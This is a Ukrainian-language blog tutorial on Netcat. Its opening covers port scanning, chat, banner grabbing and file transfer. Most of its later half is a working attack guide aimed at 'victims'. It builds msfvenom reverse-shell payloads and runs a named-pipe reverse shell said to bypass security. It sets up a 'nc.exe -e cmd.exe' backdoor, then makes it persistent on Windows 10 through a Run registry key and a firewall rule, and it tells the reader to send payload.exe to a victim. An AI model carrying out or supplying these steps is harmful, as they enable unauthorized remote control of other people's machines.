Як користуватися Netcat

Netcat, це мережева утиліта, що використовує з’єднання TCP і UDP для читання та запису в мережі. Її можуть використовувати як зловмисники, так і аудитори безпеки. У сценарії атаки цей багатофункціональний інструмент може керуватися скриптами, що робить його досить надійним. Якщо ж говорити про розділ безпеки, він допомагає нам відлагоджувати та досліджувати мережу.

TOOLS FOR FIND VULNERABILITY

Логин Свят

8/30/20243 min read

Як користуватися Netcat

Netcat, технічно відомий як “nc”, це мережева утиліта, яка використовує з’єднання TCP і UDP для читання та запису в мережі. Її можуть використовувати як зловмисники, так і аудитори безпеки. Враховуючи сценарій атаки, цей багатофункціональний інструмент може керуватися скриптами, що робить його досить надійним. Якщо ж говорити про розділ безпеки, він допомагає нам відлагоджувати та досліджувати мережу.

Чому ж Netcat є настільки надійним, що може виконувати будь-яке завдання, чи то сканування портів, захоплення банерів, передача файлів чи навіть створення зворотного з’єднання? Давайте розглянемо основні можливості Netcat і розкриємо це питання.

1. Він діє як простий клієнт TCP/UDP/SCTP/SSL для взаємодії з веб-серверами, серверами telnet, поштовими серверами та іншими мережевими службами TCP/IP.

2. Він перенаправляє трафік TCP/UDP/SCTP на інші порти або хости, діючи як проксі-сервер SOCKS або HTTP, що дозволяє клієнтам вказувати свої пункти призначення.

3. Netcat може навіть підключатися до пунктів призначення через ланцюг анонімних або автентифікованих проксі-серверів.

4. Шифрує комунікації за допомогою SSL і транспортує їх через IPv4 або IPv6.

5. Він діє як брокер з’єднання, дозволяючи двом (або набагато більше) клієнтам підключатися через третій (брокерський) сервер.

Тож тепер ви, мабуть, усвідомлюєте всі функції, які роблять Netcat унікальним і простим у використанні. Давайте спробуємо заглибитися і дослідити, що ще можна зробити з цим чудовим інструментом.

Netcat Basic command

Команда Help

“Help” або іноді “h” — це прапорець, який виводить усі можливі опції, які інструмент може виконати для нас. Щоб розпочати роботу з netcat, ми будемо використовувати найпростішу команду довідки, а саме:

nc -h

Сканування портів

Netcat можна використовувати як сканер портів, хоча спочатку він не був розроблений для цієї функції. Щоб використовувати його як сканер, потрібно встановити прапорець “-z”, який вказує netcat сканувати порти, не надсилаючи жодних даних. Це дозволяє зрозуміти тип служби, яка працює на певному порту. Таким чином, netcat може виконувати як TCP, так і UDP сканування. Давайте подивимося, як це зробити:

TCP Сканування

nc -v –n –z 192.168.0.168 21-100

• [-v]: вказує на Verbose mode (розширений режим)

• [-n]: вказує на використання лише числових IP-адрес

• [-z]: вказує на zero-I/O mode (використовується для сканування)

Для завершення цього сканування потрібно вказати діапазон портів. На прикладі нижче показано, що я вказав діапазон портів від 21 до 100, що дозволить вивести запущені служби на машині-цілі.

UDP Сканування

nc –vzu 192.168.0.168 68

Ми можемо сканувати UDP порти аналогічно до того, як ми сканували TCP порти. Для цього ми будемо використовувати прапорець -u, який активує UDP режим.

У цьому випадку ми вказали конкретний номер порту, а не діапазон. На прикладі нижче показано, що ми виявили запущену службу “tftp”.

Чат

Netcat також можна використовувати для спілкування між двома користувачами. Але перед цим потрібно встановити з’єднання. Для налаштування цього процесу ми будемо використовувати два пристрої: один буде виконувати роль ініціатора, а інший — слухача. Як тільки з’єднання буде встановлено, зв’язок може здійснюватися з обох кінців.

Давайте розглянемо цей сценарій, де два користувачі з різними операційними системами спілкуються один з одним через з’єднання, встановлене за допомогою Netcat.

Спочатку користувач root на Kali повинен налаштувати свій Netcat у режимі “слухача” на певному порту, щоб створити мережеве з’єднання. Для цього виконайте наступну команду:

nc –lvp 1234

• [l]: Режим слухача (Listen Mode)

• [v]: Розширений режим (Verbose Mode)

• [p]: Локальний порт (Local Port)

Тепер настав час налаштувати ініціатора. Це буде зроблено користувачем MAC OS, просто вказавши IP-адресу системи, де ми запустили слухач, та номер порту.

nc 192.168.0.139 1234

З наведеного нижче зображення видно, що з’єднання було встановлено, і обидві машини тепер можуть спілкуватися одна з одною.

Захоплення банерів

Банер — це текстове повідомлення, отримане від хоста, яке містить інформацію про відкриті порти та служби разом із їхніми номерами версій.

Щоб захопити банери ftp і ssh на цілі, виконайте наступну команду:

nc -v [IP-адреса] 21

i

nc -v [IP-адреса] 22

де [IP-адреса] — це IP-адреса цільової машини. Команда nc -v запустить Netcat у режимі Verbose, щоб отримати детальнішу інформацію про з’єднання. Порти 21 та 22 відповідають відповідно за служби FTP та SSH.

Передача файлів

Netcat надає можливість передавати файли з одного пристрою на інший через мережу.

Розглянемо сценарій, де користувач на Kali передає свої файли користувачеві на машину MAC.

На прикладі нижче користувач на Kali налаштовує слухача на порту 5555 і передає файл file.txt, використовуючи параметр "<".

nc –lvp 5555 < passwd.txt

Тепер користувач на сервері MAC завантажить цей файл, виконавши наступну команду:

nc 192.168.0.168 5555 > passwd.txt

Ця команда підключиться до порту 5555 на машині Kali та завантажить файл passwd.txt.

Linux Reverse Shell

Як було згадано раніше, Netcat може виконувати будь-які завдання, тому зараз ми спробуємо експлуатувати цільову машину за допомогою “msfvenom” для створення шкідливого коду (payload) та налаштуємо слухача Netcat, щоб отримати сеанс зворотного підключення (reverse shell).

Спробуємо створити payload, використовуючи наступну команду:

msfvenom -p linux/x86/shell_reverse_tcp LHOST=[ваша_IP-адреса] LPORT=[порт] -f elf > shell.elf

Де:

• -p linux/x86/shell_reverse_tcp — вказує на тип payload (реверсна оболонка TCP для Linux).

• LHOST=[ваша_IP-адреса] — це IP-адреса вашої машини, на яку буде здійснено зворотне підключення.

• LPORT=[порт] — порт, на який буде здійснено підключення.

• -f elf — вказує на формат файлу вихідного payload (ELF).

• > shell.elf — зберігає payload у файл з назвою shell.elf.

Наш payload готовий, тепер час запустити його на сервері нашої жертви. Відкриваємо машину з Ubuntu і введіть цей payload у терміналі. Перед тим як запустити його, поверніться до машини атакуючого (Kali Linux) і налаштуйте слухача Netcat, використовуючи той самий номер порту, який ви вказували під час створення payload.

Для цього виконайте наступну команду на машині Kali Linux:

nc -lvp [порт]

Тепер, коли цільова машина виконає payload, ви отримаєте зворотну оболонку (reverse shell) на своїй машині.

Існують випадки, коли рівень безпеки підвищується, і нам не вдається отримати сесію за допомогою цього методу, але є інший спосіб отримати зворотну оболонку.

Перед цим налаштуйте слухача Netcat на порту 443:

Як тільки слухач буде запущено, виконайте наступні команди на машині жертви:

mknod /tmp/backpipe p

/bin/sh 0</tmp/backpipe | nc 192.168.0.139 443 1>/tmp/backpipe

Це допоможе вам обійти заходи безпеки та отримати сесію Netcat.

Randomized Port

Виникають ситуації, коли ми не можемо визначити конкретний порт для налаштування слухача або встановлення з’єднання Netcat. Netcat має спеціальний прапорець -r, який надає нам випадковий локальний порт.

nc -lv –r

З наведеного нижче зображення видно, що наш слухач був запущений на порту 40305.

Отримання HTTP банера

HTTP банери зараз складніше отримати, оскільки вони містять інформацію про сервер. Але ми можемо використовувати Netcat для захоплення інформації про будь-який вебсервер.

Просто виконайте наступну команду, щоб маніпулювати сервером цілі та перевірити, що ми отримали:

printf "GET / HTTP/1.0rnrn" | nc

192.168.1.105 80

Це дозволить отримати банер сервера, якщо він доступний.

Зворотне підключення в Windows

Задні двері системи завжди відкриваються для нас, коли ми стукаємо. Тому ми спробуємо створити подібні задні двері на цільовій машині Windows, які дозволять нам увійти в будь-який час, коли ми повернемося.

Спочатку давайте налаштуємо слухача на нашій машині Kali:

nc –lvp 4444

Тепер виконайте наступну команду в командному рядку на машині жертви під керуванням Windows, щоб створити бекдор:

nc.exe 192.168.1.109 4444

-e cmd.exe

Час повернутися до машини атакуючого. Де ми в консолі побачимо, що ми потрапили в командний рядок машини жертви.

доступ в Windows 10

Збереження доступу відіграє важливу роль у житті зловмисника. Тож давайте спробуємо створити постійний бекдор за допомогою Netcat і Metasploit Framework на взламаній нами машині.

Отже за допомогою команди, наведену нижче, створюємо сеанс Meterpreter до машини з Windows 10. Тепер завантажте файл netcat.exe у папку system32 на комп’ютері жертви, використовуючи наступну команду:

upload /usr/share/windows-binaries/nc.exe

C:windowssystem32

Тепер налаштуйте Netcat на прослуховування на будь-якому випадковому порту, скажімо, 4445, відкрийте порт під час запуску та встановіть з’єднання.

Використайте наступну команду:

reg setval -k

HKLMsoftwaremicrosoftwindowscurrentversionrun -v netcat -d 'C:windowssystem32nc.exe -Ldp 4445 -e

При успішному підключенні через Netcat ми отримаємо зворотну оболонку (reverse shell) на ПК жертви. Тепер час додати нове правило до брандмауера з ім’ям “netcat”, яке дозволить вхідне з’єднання на порт 4445, використовуючи консоль із запуском команди netsh.

Введіть наступну команду:

netsh advfirewall firewall add rule name='netcat' dir=in

action=allow protocol=Tcp localport=4445

Давайте перевіримо режим роботи та статус порту, виконавши наступну команду:

netsh firewall show portopening

Отже, на цьому ми завершили налаштування. Тепер, коли жертва перезавантажить систему, ми отримаємо оболонку Netcat. Виконайте наступну команду, щоб підключитися до наших задніх дверей Netcat через порт 4445:

nc -nv 192.168.1.105 4445

Чудово! Ми успішно створили постійний бекдор, і тепер кожного разу, коли жертва завантажує систему, ми завжди будемо мати доступ до її сесії. Щоб дізнатися більше про збереження доступу в Windows, натисніть тут.

Msfvenom пейлоуд з Netcat

До цього моменту ми вивчили все про Netcat, від його базових функцій до розширених можливостей. Тепер давайте дізнаємося, як можна підключитися до жертви через нашу Netcat оболонку, використовуючи payload, створений за допомогою msfvenom.

Запустіть термінал і виконайте наступну команду для створення payload у форматі .exe:

msfvenom -p windows/shell_reverse_tcp LHOST=[ваша_IP-адреса] LPORT=[порт] -f exe > payload.exe

Де:

• -p windows/shell_reverse_tcp — вказує на тип payload (зворотна TCP оболонка для Windows).

• LHOST=[ваша_IP-адреса] — IP-адреса вашої машини, на яку буде здійснено зворотне підключення.

• LPORT=[порт] — порт, на який буде здійснено підключення.

• -f exe — формат файлу payload (в даному випадку .exe).

• > payload.exe — зберігає payload у файл з назвою payload.exe.

Тепер увімкніть слухача Netcat на порту 3333. Поділіться цим створеним payload з жертвою. Як тільки він/вона відкриє його, ви отримаєте зворотне підключення.

Команда для запуску слухача:

nc -lvp 3333

Тепер, коли жертва запустить payload.exe, ви отримаєте зворотну оболонку на своїй машині через порт 3333.

Висновки

Ми пройшли повний шлях вивчення Netcat, від його основних можливостей до розширених функцій, таких як зворотні підключення, створення постійних бекдорів та використання Netcat в поєднанні з msfvenom для генерації payload. Ми також навчилися обходити заходи безпеки, налаштовувати Netcat для прослуховування на випадкових портах та отримувати важливу інформацію з серверів. Ці знання дозволяють нам більш ефективно використовувати Netcat для різноманітних задач, від простого сканування портів до складних атак та захисту систем.

Завжди пам’ятайте, що знання, отримані під час цього навчання, повинні використовуватися відповідально та виключно в етичних цілях, таких як тестування безпеки власних систем.